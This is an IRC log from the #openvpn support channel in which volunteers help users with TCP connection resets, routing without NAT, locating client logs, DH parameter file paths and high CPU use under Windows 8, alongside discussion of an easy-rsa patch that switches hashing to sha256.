12:09 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has joined #openvpn
12:20 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
12:23 -!- jthunder_ [~jthunder@70.28.245.44] has joined #openvpn
12:25 -!- jthunder [~jthunder@70.28.245.44] has quit [Ping timeout: 248 seconds]
12:25 -!- jthunder_ is now known as jthunder
12:30 -!- mndo_ [~mndo@bl17-71-84.dsl.telepac.pt] has joined #openvpn
12:31 -!- exed [~maximus@host-88-217-184-122.customer.m-online.net] has quit [Ping timeout: 246 seconds]
12:31 -!- jthunder [~jthunder@70.28.245.44] has quit [Quit: jthunder]
12:31 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Quit: ZNC - http://znc.in]
12:31 -!- mndo_ [~mndo@bl17-71-84.dsl.telepac.pt] has quit [Remote host closed the connection]
12:32 -!- mndo [~mndo@bl17-71-84.dsl.telepac.pt] has quit [Remote host closed the connection]
12:32 -!- mndo [~mndo@bl17-71-84.dsl.telepac.pt] has joined #openvpn
12:36 -!- mndo [~mndo@bl17-71-84.dsl.telepac.pt] has quit [Client Quit]
12:38 -!- mndo [~mndo@bl17-71-84.dsl.telepac.pt] has joined #openvpn
12:42 -!- bauruine [~stefan@91.236.116.112] has joined #openvpn
12:46 -!- n2deep [n2deep@odin.sdf-eu.org] has joined #openvpn
12:47 -!- u0m3 [~Radu@92.80.121.78] has quit [Read error: Connection reset by peer]
12:50 -!- Azrael808 [~peter@212.161.9.162] has quit [Ping timeout: 252 seconds]
12:50 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Read error: Connection reset by peer]
12:51 -!- u0m3 [~Radu@92.80.118.157] has joined #openvpn
12:53 -!- syoma [~syoma@186.34.232.222] has joined #openvpn
12:53 < syoma> hello guys
12:54 < syoma> I have problem with tunnelblick client
12:54 < syoma> http://pastebin.com/HddC2mWm
12:54 < syoma> Jan 30 11:26:36 fw1 openvpn[40497]: fernando.ormeno/190.44.118.93:53761 send_push_reply(): safe_cap=960
12:55 < syoma> Jan 30 11:36:24 fw1 openvpn[40497]: fernando.ormeno/190.44.118.93:53761 Connection reset, restarting [0]
12:55 < syoma> Jan 30 11:26:34 fw1 openvpn[40497]: fernando.ormeno/190.44.118.93:53761 MULTI_sva: pool returned IPv4=192.168.22.18, IPv6=48f4:1e01:800:0:2300::
12:55 < syoma> somebody
12:55 < syoma> can help me pease
12:55 < |Mike|> read the topic mkay.
12:56 < |Mike|> || We're not psychic - please !paste your !configs and !logs and a description of the issue || Your problem is probably your firewall, Really ||
12:56 < syoma> hi |Mike|
12:58 < syoma> all other clients work
12:58 < syoma> correctly
12:58 < syoma> that particular user has the problem
12:58 < |Mike|> firewalll!
12:59 < syoma> I want to ensure if the problem is the server or the client
12:59 < syoma> The sere runs on a box of pfsense
12:59 < syoma> s/sere/server
13:00 < syoma> the user connects to an adsl
13:00 < syoma> the user did a telnet to port and responds well
13:01 < syoma> :¬@
13:01 <+pekster> As the log says, the connection was reset
13:01 <+pekster> Are you using tcp?
13:01 <+pekster> (as the encapsulating protocol)
13:01 < syoma> affirmative sr
13:02 <+pekster> So the peer reset the connection, and the server simply tears it down
13:02 <+pekster> You're better off using UDP, unless you actaully need TCP for some reason:
13:02 <+pekster> !tcp
13:02 <@vpnHelper> "tcp" is (#1) Sometimes you cannot avoid tunneling over tcp, but if you can avoid it, DO. http://sites.inka.de/~bigred/devel/tcp-tcp.html Why TCP Over TCP Is A Bad Idea. or (#2) http://www.openvpn.net/papers/BLUG-talk/14.html for a presentation by James Yonan (OpenVPN lead developer) or (#3) if you must use tcp, you likely want --tcp-nodelay
13:03 < syoma> gracias pekster
13:05 <+pekster> Normally the the connection won't be reset like that unless the client actually disconnected (or crashed or something.) Firewalls can decide to drop or reset connections too, but usually --keepalive helps maintain stateful firewalls:
13:05 <+pekster> !keepalive
13:05 <@vpnHelper> "keepalive" is (#1) see --keepalive in the manual for how to make clients retry connecting if they get disconnected. or (#2) basically it is a wrapper for managing --ping and --ping-restart in server/client mode or (#3) if you use this, don't use --tls-exit and also avoid --single-session and --inactive
13:06 -!- [1]c3vin [~c3vin@70.62.198.163] has joined #openvpn
13:09 -!- c3vin [~c3vin@70.62.198.163] has quit [Ping timeout: 240 seconds]
13:09 -!- [1]c3vin is now known as c3vin
13:17 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
13:20 < syoma> thanks pekster
13:22 <+pekster> np
13:27 -!- mndo [~mndo@bl17-71-84.dsl.telepac.pt] has quit [Ping timeout: 276 seconds]
13:30 -!- daemonoob [~rschultz@68-233-212-42.static-ip.telepacific.net] has joined #openvpn
13:31 -!- u0m3 [~Radu@92.80.118.157] has quit [Read error: Connection reset by peer]
13:34 -!- daemonoob [~rschultz@68-233-212-42.static-ip.telepacific.net] has left #openvpn []
13:35 -!- u0m3 [~Radu@109.96.148.11] has joined #openvpn
13:44 -!- brute11k [~brute11k@89.249.230.219] has quit [Quit: Leaving.]
13:44 -!- brute11k [~brute11k@89.249.230.219] has joined #openvpn
13:47 -!- u0m3 [~Radu@109.96.148.11] has quit [Read error: Connection reset by peer]
13:49 -!- brute11k [~brute11k@89.249.230.219] has quit [Ping timeout: 264 seconds]
13:51 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 246 seconds]
13:58 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
13:58 -!- dazo is now known as dazo_afk
14:00 -!- BtbN [~btbn@btbn.de] has quit [Ping timeout: 246 seconds]
14:03 -!- BtbN [~btbn@btbn.de] has joined #openvpn
14:13 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 252 seconds]
14:18 -!- bjh4 [~bjh4@64.212.193.1] has joined #openvpn
14:24 -!- Saviq_ [~Saviq@nat/canonical/x-xgmrcgubxpeogvbo] has joined #openvpn
14:26 -!- wh1pl4sh88 [~wh1pl4sh@host-2-100-148-6.as13285.net] has quit [Ping timeout: 255 seconds]
14:27 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn
14:27 -!- mode/#openvpn [+o mattock] by ChanServ
14:30 -!- Saviq_ [~Saviq@nat/canonical/x-xgmrcgubxpeogvbo] has quit [Ping timeout: 248 seconds]
14:32 <@ecrist> ping pekster 
14:32 <@ecrist> did you ever finish that easy-rsa patch?
14:33 <+pekster> ecrist: Oh, yea, sorry. Updated patches at ... well, at a downed webhost :(
14:33 <+pekster> Let me re-mirror them... :\
14:33 <@krzee> http://www.thewebsiteisdown.com/
14:33 <@vpnHelper> Title: The Website Is Down (at www.thewebsiteisdown.com)
14:34 <+pekster> Oh, and it's back again. Maybe someone was playing UT instead of answering their skype calls :P
14:34 <+pekster> ecrist: http://pekster.sdf.org/misc/ovpn-patches/
14:34 <@vpnHelper> Title: Index of /misc/ovpn-patches (at pekster.sdf.org)
14:34 <+pekster> So, basically, it removes all traces of the hash from the scripts and standardizes openssl.cnf files to use sha256
14:34 <+pekster> Previously Windows was using the openssl default of md5 while the *nix scripts were hard-coded to use sha1. Sort of a weird mix
14:37 <@krzee> ssl-admin is also using md5
14:43 <@ecrist> yeah, I should fix that, too
14:46 <@ecrist> ok, pekster, I'll apply those, they seem sensible
14:47 <+pekster> Yea, it won't impact current CAs (thingg signed with md5 or sha1 will continue to work) just new keys going forward. And sha256 is supported anything remotely recent, so if that breaks for someone they really need to make a concious decision to use older stuff
14:48 <@ecrist> yep, I agree
14:48 <+pekster> At krzee musing, I even verified the embedded-friendly PolarSSL supports it :P
14:49 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 248 seconds]
14:52 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
15:03 -!- ade_b [~Ade@redhat/adeb] has quit [Ping timeout: 256 seconds]
15:04 <@ecrist> pekster, can you PM me your email address?
15:05 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
15:05 <@ecrist> and your name, as you'd like it to appear in the commit?
15:07 <+pekster> Done. Not a hugely impressive patch, but progress is good, right? :P
15:08 <+pekster> I think my first 'official' patch that got merged into upstream openvpn was fixing a device qutoting bug. Sometimes it's the small things that make life better
15:09 -!- c3vin [~c3vin@70.62.198.163] has quit [Ping timeout: 240 seconds]
15:17 -!- wh1pl4sh88 [~wh1pl4sh@host-2-100-148-6.as13285.net] has joined #openvpn
15:27 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
15:38 -!- krzee [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer]
15:39 -!- Saviq_ [~Saviq@194.168.195.98] has joined #openvpn
15:46 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Read error: Connection reset by peer]
15:46 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
15:49 -!- bjh4 [~bjh4@64.212.193.1] has quit [Remote host closed the connection]
15:54 -!- Orbi [~opera@anon-185-20.vpn.ipredator.se] has quit [Quit: Orbi]
15:56 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
15:57 -!- mattock is now known as mattock_afk
15:57 -!- jY [~jy@photoblog.com] has joined #openvpn
15:58 -!- mikkel [~mikkel@80-71-132-15.u.parknet.dk] has quit [Quit: Leaving]
16:00 -!- c3vin [~c3vin@cpe-107-10-36-73.neo.res.rr.com] has joined #openvpn
16:05 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has joined #openvpn
16:07 < jY> what are my options to creating a routable vpn network? right now the only way I can do it is using an SNAT but then everything is shown coming from the IP of the openvpn server not the client
16:09 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Client Quit]
16:09 <+pekster> You don't need NAT at all to set up routing. What is it you're trying to accomplisih?
16:10 < jY> pekster: i have a site to site vpn 10.128.0.0/16 in CA and 10.138.0.0/16 in NY I set the vpn to be 10.113.0.0/16
16:10 < jY> vpn server is 10.128.7.70
16:11 < jY> and the only way i can hit anything on 128 is with the snat.. which changes the IP to the 7.70
16:11 <+pekster> !serverlan
16:11 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
16:11 <+pekster> And if you want to expose the LAN on the client side:
16:11 <+pekster> !clientlan
16:11 <@vpnHelper> "clientlan" is (#1) for a lan behind a client, the client must have ip forwarding enabled (!ipforward), the server needs a route to the lan, the server needs to push a route for the lan to clients, the server needs a ccd (!ccd) file for the client with an iroute (!iroute) entry in it, and the router of the lan the client is on needs a route added to it (!route_outside_openvpn) or (#2) see !route
16:11 <@vpnHelper> for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/clientlan.png
16:11 < jY> thanks!
16:11 < jY> that'll give me enough to read about
16:13 <+pekster> Using a /16 for openvpn is just silly. If you just have a site-to-site set up, all you need is 2 IP addresses, not a subnet of 65k unique IPs
16:13 < jY> well i'm trying to subnet off admins/dev/support
16:13 < jY> so they can only hit certain servers/ports
16:14 <+pekster> My point is OpenVPN itself can't handle that kind of a load since it's single-threaded. You'd end up with problems if you loaded up a virtual /24 with users all trying to use a /24 at once
16:14 <+pekster> Declaring OpenVPN to itself serve a /16 is a waste of IPs. At least you're doing it in rfc1918 space, but it's still baad practice
16:15 <+pekster> Now routing a /16 over openvpn isn't a problem
16:15 < jY> so what are your recommendations on how i can do this?
16:15 <+pekster> Your dev/admins/support are ALL going to connect to a VPN you've set up for a site-to-site use?
16:16 <+pekster> If that's true, you need to stop and fundamently split off your user VPN from your site-linkage
16:16 < jY> they connect into the server.. but the site to site is handled by the routers
16:16 -!- blackmagic [black@got.laid.using.blackmajic.org] has quit [Ping timeout: 245 seconds]
16:16 < jY> so they aren't on the same server
16:17 <+pekster> They could be on the same server if you'd like, just different instances. It's usually a completely different setup in terms of validating your users verses a static site-to-site tunnel
16:17 < jY> ya that's the case.. its completely different
16:17 <+pekster> And stop using a /16. If you're doing 'server 10.113.0.0 255.255.0.0' you really ought to correct that. Use at most a /24 for the virutal networks
16:18 <+pekster> (unless you really know what you're doing and why you're doing it)
16:19 -!- Akuma [kvirc@82-210-136-150.home.aster.pl] has joined #openvpn
16:19 < Akuma> hello, where can I find open vpn client logs in ubuntu?
16:19 < jY> i'll take that into account but it really doesn't solve my issue with needing an snat to get out
16:20 <+pekster> You don't need NAT at all if you control the network nodes. For an rfc1918 inside an org like that there's no reason to use NAT anywhere
16:20 <+pekster> See the flowcharts, and fix your routing on both sides of the tunnel
16:20 < jY> okie
16:20 <+pekster> NAT is only ever required if you have unroutable space on one side of a router (eg: my home network "doesn't exist" as far as the rest of the public Internet is concerned, thus I need NAT on my border device)
16:22 <+pekster> Akuma: That depends entirely on how you started it. See the manpage options for --log, --log-append, --syslog, or --daemon depending on your configuration. Lacking any of those options, the logs are sent to stdout/stderr
16:22 < Akuma> ah
16:22 < Akuma> so basically if I use the gui chances are I don't have a log
16:23 <+pekster> Chances are you do. WHere it goes is entierly up to the frontend and how it calls the actual openvpn program. I can't help you with your "gui", just with openvpn
16:23 <+pekster> If you mean network-manager, see:
16:23 <+pekster> !nm
16:23 <+pekster> !netman
16:23 <@vpnHelper> "netman" is if you are using network manager for linux to configure your vpn, dont! http://openvpn.net/archive/openvpn-users/2008-01/msg00046.html to read the same thing from the author of the openvpn 2 cookbook on the mail list
16:27 -!- mode/#openvpn [-v pekster] by ChanServ
16:35 < Akuma> pekster: thank you, I managed to find; now I have another problem: the connection gets established but I have the following message: http://pastebin.com/yCuaZNUP
16:42 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
16:51 -!- u0m3 [~Radu@109.96.148.11] has joined #openvpn
16:59 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has quit [Read error: Connection reset by peer]
17:01 -!- Saviq_ [~Saviq@194.168.195.98] has quit [Quit: Ex-Chat]
17:07 -!- Akuma [kvirc@82-210-136-150.home.aster.pl] has quit [Quit: KVIrc 4.2.0 Equilibrium http://www.kvirc.net/]
17:08 -!- krzee [nobody@hemp.ircpimps.org] has joined #openvpn
17:08 -!- krzee [nobody@hemp.ircpimps.org] has quit [Changing host]
17:08 -!- krzee [nobody@openvpn/community/support/krzee] has joined #openvpn
17:08 -!- mode/#openvpn [+o krzee] by ChanServ
17:12 -!- blackmagic [black@got.laid.using.blackmajic.org] has joined #openvpn
17:31 -!- madsage [sage@2001:470:c:1292::2] has joined #openvpn
17:31 < madsage> word
17:32 <@krzee> werd sage
17:32 <@krzee> this the oldschool efnet madsage or the newer (but not new) one i seen in here before?
17:33 < madsage> yeah how you doing old friend
17:33 < madsage> and you did see me ab a year ago. i think the last time i stopped by
17:33 < madsage> ab/about
17:33 <@krzee> ahh ok, not the same from efnet then
17:34 < madsage> yes
17:34 <@krzee> how ya doin
17:34 < madsage> doing well
17:34 <@krzee> lookin for any help?
17:34 < madsage> you rememeber me from CA and stuff
17:34 < madsage> heh
17:34 <@krzee> o_O
17:34 <@krzee> that IS you?
17:35 -!- JPeterson [~JPeterson@s213-103-211-4.cust.tele2.se] has quit [Read error: Connection reset by peer]
17:35 -!- JPeterson [~JPeterson@s213-103-211-4.cust.tele2.se] has joined #openvpn
17:37 -!- mode/#openvpn [+v madsage] by krzee
17:37 <+madsage> thanks i passed?
17:37 <+madsage> lol
17:37 <@krzee> lol yep
17:37 <@krzee> good to see ya again
17:38 <@krzee> yanno i met you my first day on IRC
17:38 <+madsage> so i'm tunning torrent through openvpn on win8 cpuload through the roof. the server is fine though
17:38 <+madsage> nice
17:38 <+madsage> i didnt know that
17:38 <+madsage> yeah you know that was what almost 20yrs ago now
17:38 <@krzee> verse was already in that channel, brought me in, it was my first chan
17:38 <@krzee> ya, like 21 yrs ago
17:39 <+madsage> damn time flys
17:39 <+madsage> you must be an old fart now
17:39 <+madsage> haha
17:39 -!- toky [~toky@wsip-174-77-152-130.dc.dc.cox.net] has quit [Ping timeout: 276 seconds]
17:39 <@krzee> guess so, lol
17:39 <@krzee> i was hella young back then too, we all were
17:39 <@krzee> kinda explains all the different scenes we went through, and at what times
17:40 <@krzee> efnet grew up together, lol
17:40 <+madsage> i was a little older. i think i have 10yrs on you but that cool
17:40 <+madsage> is
17:40 <+madsage> so i'm tunneling torrent through openvpn on win8 cpuload through the roof. the server is fine though
17:41 <+madsage> what would cause that man, i have compression disabled and using blowfish
17:41 -!- Diffen [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has quit [Quit: This computer has gone to sleep]
17:41 <+madsage> if i pass more than 150kB i can barely run my windows its lagged so bad
17:41 <@krzee> whats taking the cpu? openvpn, openssl, or kernel?
17:42 <@krzee> and really? you use windows?
17:42 <+madsage> hah yeah
17:42  * krzee goes back to asking questions from old days in msg
17:42 <@krzee> lol
17:42 <+madsage> maybei will have better luck with linux in a vm
17:42 <+madsage> i like to game, wintendo etc
17:43 <@krzee> werd
17:43 <+madsage> the server is ubuntu 12
17:43 <+madsage> on the other side of the tunnel
17:43 <+madsage> and its like 98% idle
17:43 <@krzee> not interested in the server
17:43 <@krzee> tell me more about the client, whats eating the cpu?
17:43 <+madsage> yeah, its working well
17:44 <@krzee> my joint is almost done, which means ill need to roll another in a minute
17:44 <@krzee> :D
17:44 <+madsage> well progman shows opeenvpn at over 50%. but yeah maybe i have a networkign issue. something is bounsint it around too much
17:44 <+madsage> bouncing and redirecting
17:44 <@krzee> 3im guessing dual core
17:45 <+madsage> nope, intel quad @ 3ghz
17:45 <+madsage> core2
17:45 <@krzee> i guessed it cause openvpn is single threaded
17:45 <@krzee> if it takes 100%, it'll only do so on 1 core
17:45 <@krzee> combined % would show 50%
17:45 <@krzee> can you stop torrents, and does it go back to 0%?
17:45 <+madsage> it does
17:46 <+madsage> back to idle
17:46 <@krzee> intardesting
17:46 <+madsage> i am redirecting gateway across the tunnel
17:47 <@krzee> in your torrent app
17:47 <@krzee> how many connections are you allowing?
17:47 <@krzee> (not that it should matter)
17:47 <+madsage> there are 4 network devices, tun, lan, and a couple vmware workstation adapters
17:47 <@krzee> but ild try tuning my settings in the torrent app to find something non-offensive
17:48 <+madsage> ok, yeah that makes sense. i prolly have a shitton of connections
17:48 <+madsage> i'll look. go smok that hooter
17:48 <@krzee> im smoking now
17:48 <@krzee> no worries, i dont need to leave for it
17:48 <@krzee> might just be slow responding while breaking / rolling the next
17:48 <+madsage> ok
17:50 <+madsage> hah so global connectiosn was at 500 and max connections per torrent was 100. i dropped them down to 100 and 25
17:51 <+madsage> damn i should have checked that.
17:51 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 240 seconds]
17:53 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
17:53 <+madsage> ok openvpn at 22% now still feels laggy. i'll drop it some more
17:59 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
18:01 <+madsage> krzee, is the openvpn for linux multithreaded?
18:01 -!- MeanderingCode [~Meanderin@71-213-164-111.albq.qwest.net] has joined #openvpn
18:02 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 260 seconds]
18:02 <+madsage> i'm going to try use an openvpn tunnel inside a linux vm. maybe i'll have better performance
18:04 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
18:06 -!- adolfomaltez [~taro@190.62.233.253] has joined #openvpn
18:06 -!- Diffen [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has joined #openvpn
18:07 -!- Diffen [~diffen@c-7476e555.042-17-73746f11.cust.bredbandsbolaget.se] has quit [Client Quit]
18:07 <+madsage> that did help by t way. lowered my connctions to 8 now still pulling about 350kB. i think this is some windows 8 issue though. never seen openvpn load this high on win7
18:13 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has quit [Remote host closed the connection]
18:20 -!- DrCode [~DrCode@gateway/tor-sasl/drcode] has joined #openvpn
18:27 -!- toky [~toky@pool-71-171-106-213.clppva.fios.verizon.net] has joined #openvpn
18:29 <@krzee> madsage, no, no openvpn is multithreaded yet
18:29 <@krzee> maybe in ovpn3
18:39 <+madsage> ok
18:40 <+madsage> yeah i think something with win8. building a new ubuntu12 vm. i bet that works fine
18:40 <@krzee> yep but you'll find limiting connections benneficial either way
18:41 <@krzee> most decent trackers you shouldnt need many connections to get your bandwidth
18:41 <+madsage> i'll tunnel from a vm see if the milage differs.
18:41 <+madsage> yeah. i have 20mbit but the openvpn was dogged in win8 and couldnt get past 230KB
18:42 <+madsage> er 380kB
18:42 -!- Porkepix [~Porkepix@host239-185-dynamic.31-79-r.retail.telecomitalia.it] has quit [Quit: Computer has gone to sleep.]
18:48 <+madsage> hmm found an interesting article on Windows 8 High CPU usage interrupts
18:48 <+madsage> suggests turnign off the power saving options on nic adapters
18:52 <@krzee> if you get good results let me know
18:54 -!- u0m3 [~Radu@109.96.148.11] has quit [Ping timeout: 248 seconds]
19:06 -!- toky [~toky@pool-71-171-106-213.clppva.fios.verizon.net] has quit [Ping timeout: 264 seconds]
19:12 -!- greyEAX [~marmalade@cpe-76-171-192-216.socal.res.rr.com] has joined #openvpn
19:24 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has quit [Remote host closed the connection]
19:30 < greyEAX> im on centos6 and i cant get openvpn to start, and there are no errors in the logs
19:31 < greyEAX> scratch that
19:31 < greyEAX> /var/log/messages says 489 openvpn[1969]: Cannot open /etc/openvpn/easy-rsa/dh1024.pem for DH parameters: error:02001002:system library:fopen:No such file or directory: error:2006D080:BIO routines:BIO_new_file:no such file
19:33 < EugeneKay> Well, does the file exist
19:34 < greyEAX> yeah
19:34 < greyEAX> oh wai
19:34 < greyEAX> god dammit
19:34 < greyEAX> its in /easy-rsa/keys/
19:34 < greyEAX> my bad
19:34 < greyEAX> thanks
19:34 < greyEAX> it works
19:35 < EugeneKay> ;-)
19:49 -!- raidz is now known as raidz_away
19:50 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 252 seconds]
19:53 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
19:57 -!- Winston_Smith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
19:57 < cirdan> i use time.apple.com :-)
19:57 < cirdan> mt, bah.
19:58 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 252 seconds]
20:00 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
20:02 -!- Winston_Smith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 248 seconds]
20:15 -!- wh1pl4sh88 [~wh1pl4sh@host-2-100-148-6.as13285.net] has quit [Ping timeout: 256 seconds]
20:16 -!- wh1p [~wh1pl4sh@host-2-100-148-6.as13285.net] has joined #openvpn
20:22 -!- adolfomaltez [~taro@190.62.233.253] has left #openvpn []
20:22 -!- adolfomaltez [~taro@190.62.233.253] has joined #openvpn
20:29 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 248 seconds]
20:31 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
20:38 -!- Guest25591 [~nutron@unaffiliated/nutron] has quit [Remote host closed the connection]
20:38 -!- nutron [~nutron@unaffiliated/nutron] has quit [Remote host closed the connection]
20:42 -!- hunternet93 [~hunter@h64.72.22.98.dynamic.ip.windstream.net] has joined #openvpn
20:42 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 248 seconds]
20:45 < hunternet93> What's the best option for using SMB over OpenVPN? I have a tunneled VPN set up for a small network that uses a simple workgroup (no Active Directory) to see computers on the network and share files. I have a Samba server providing WINS, but a new Windows 8 computer doesn't pick up any of the computers on the network when connected to the VPN. Is there a better way to do this?
20:46 -!- APTX [APTX@unaffiliated/aptx] has quit [Remote host closed the connection]
20:46 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
20:47 -!- adolfomaltez [~taro@190.62.233.253] has quit [Ping timeout: 255 seconds]
20:49 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
20:50 -!- adolfomaltez [~taro@190.62.226.245] has joined #openvpn
20:52 -!- hunternet93 [~hunter@h64.72.22.98.dynamic.ip.windstream.net] has left #openvpn []
20:59 -!- mode/#openvpn [+v pekster] by ChanServ
20:59 <+pekster> Aketzu: From earlier, those are NetworkManager logs, not openvpn logs. No clue what's wrong with openvpn. Try calling openvpn from a terminal if you really want to see what's going on
21:17 -!- brute11k [~brute11k@89.249.230.207] has joined #openvpn
21:25 <+madsage> krzee, yeah man somthing weird in win8 bro. setup everything from an ubuntu12 vm guest and pulling over 800kB/sec now and only 5% cpu for openvpn
21:26 <+pekster> 32 or 64-bit flavour openvpn install in win8? Maybe one works more efficiently than the other?
21:26 <+madsage> i was using 64bit
21:26 <+madsage> did not try 32
21:27 <+madsage> interesting though. maybe worth a try
21:27 <+pekster> It might be a test to see what it does. It "shouldn't" be noticablly slower in 64-bit, but that's possible I suppose
21:27 <+madsage> although running the tunnel from a ubuntu64  vm under win8 is also working great
21:28 <+madsage> pekster, i will try that
21:28 <+madsage> see if we have better results with the 32bit win version on win8x64
21:29 <+pekster> I've been using the 64-bit version on my windows install (Vista SP2) and haven't had any noticable issues/differences yet
21:29 <+pekster> In theory, openssl does better with some of the crypto with 64-bit, but otherwise it's basically a wash, and slightly larger executables for your trouble
21:31 <+pekster> Weird, using cygwin to run 'ldd openvpn.exe' tells me "Function not implemented" :\
21:32  * pekster doesn't have great Windows know-how to do that outside of cygwin
21:32 -!- catsup [~d@64.111.123.163] has joined #openvpn
21:33 <+madsage> try the linux binary with cygwin
21:33 <+pekster> Otherwise, near as I can tell all the crypto dll's openvpn produces are linked to the 64-bit OS libraries
21:33 <+madsage> ok, i'm not familiar with cygwin
21:34 <+pekster> You don't "install" linux software in cygwin. You need to rebuild things from source code under the environment for stuff to work
21:34 <+madsage> oh your looking at the ldd in the exe
21:34 <+pekster> Right: http://fpaste.org/EC5V/
21:35 <+madsage> sorry i know what ldd does. yeah i see what you are sayign there
21:36 <+pekster> I assume there's just a build option that turs off whatever ldd is probing to find the dynamic links
21:36 <+pekster> Anyway, it doesn't really matter in the end. Either 32-bit goes faster for you, or not :P
21:38 <+madsage> yeah soon as hit about 300kB/sec my OS was in the dirt. could barely even move the mouse curser
21:44 -!- shadoom [~shadoom@91-65-183-58-dynip.superkabel.de] has joined #openvpn
22:03 <+pekster> Something else has to be up then, becuase on a multi-core system ovpn can only eat a single core
22:03 <+pekster> Sounds like Windows is just blowing chunks for some silly reason
22:13 -!- adolfomaltez [~taro@190.62.226.245] has quit [Ping timeout: 248 seconds]
22:14 -!- adolfomaltez [~taro@190.62.233.158] has joined #openvpn
22:15 -!- driftor [~mike@c-67-164-101-152.hsd1.ca.comcast.net] has joined #openvpn
22:16 < driftor> our lan is 10.12.1.0/24 and our openvpn server which isn't our default gateway has a ip of 10.12.1.10 and openvpn is 10.12.2.0/24  It seems everything I do I see the traffic from vpn clients on the gateway as coming from 10.12.1.10 and not the clients vpn ip
22:16 < driftor> is there anyway to make it so the gateway sees the clients ip and not the server openvpn is running on
22:18 -!- shadoom [~shadoom@91-65-183-58-dynip.superkabel.de] has quit [Read error: Connection reset by peer]
22:18 -!- shadoom [~shadoom@91-65-183-58-dynip.superkabel.de] has joined #openvpn
22:18 <+pekster> driftor: Stop doing NAT
22:19 <+pekster> See also:
22:19 <+pekster> !serverlan
22:19 <@vpnHelper> "serverlan" is (#1) for a lan behind a server, the server must have ip forwarding enabled (!ipforward), the server needs to push a route for its lan to clients, and the router of the lan the server is on needs a route added to it (!route_outside_openvpn) or (#2) see !route for a better explanation or (#3) Handy troubleshooting flowchart: http://ircpimps.org/serverlan.png
22:19 <+pekster> driftor: The NAT you have set up is not a feature of openvpn, so your VPN server OS is configured to NAT the VPN network, apparently
22:19 -!- nutron [~nutron@unaffiliated/nutron] has joined #openvpn
22:21 < driftor> i don't think i have nat setup at all
22:21 < driftor> i flushed my fw rules
22:21 <+pekster> openvpn doesn't re-write your IPs in packets. NAT does.
22:22 < driftor> hmm ok
22:22 <+pekster> What OS?
22:22 < driftor> linux
22:22 <+pekster> 'iptables-save' will show you your complete netfilter ruleset
22:23 < driftor> ok i guess i had postrouting rules somehow
22:23 < driftor> thanks!
22:26 < driftor> ok now the issue is in my routes on the gateway/fw rules on the gw
22:26 <+pekster> The flowchart you were linked above covers that step
22:27 <+pekster> You need a return route on your LAN for the VPN range (otherwise how do packets get back to the 2nd network?)
22:28 -!- APTX [APTX@unaffiliated/aptx] has quit [Remote host closed the connection]
22:30 < driftor> pekster: i can now ping from any machine in the lan to the vpn
22:30 < driftor> but can't connect from vpn to a machine
22:30 < driftor> ohh wait working
22:30 < driftor> ok i was being an idiot.. thanks works!
22:30 < driftor> thanks for the help pekster
22:31 -!- APTX [APTX@unaffiliated/aptx] has joined #openvpn
22:32 <+pekster> np
22:32 -!- driftor [~mike@c-67-164-101-152.hsd1.ca.comcast.net] has left #openvpn []
22:41 -!- shadoom [~shadoom@91-65-183-58-dynip.superkabel.de] has quit []
23:13 -!- Mcloven [~Mcloven@ppp203-122-218-215.static.internode.on.net] has quit [Ping timeout: 264 seconds]
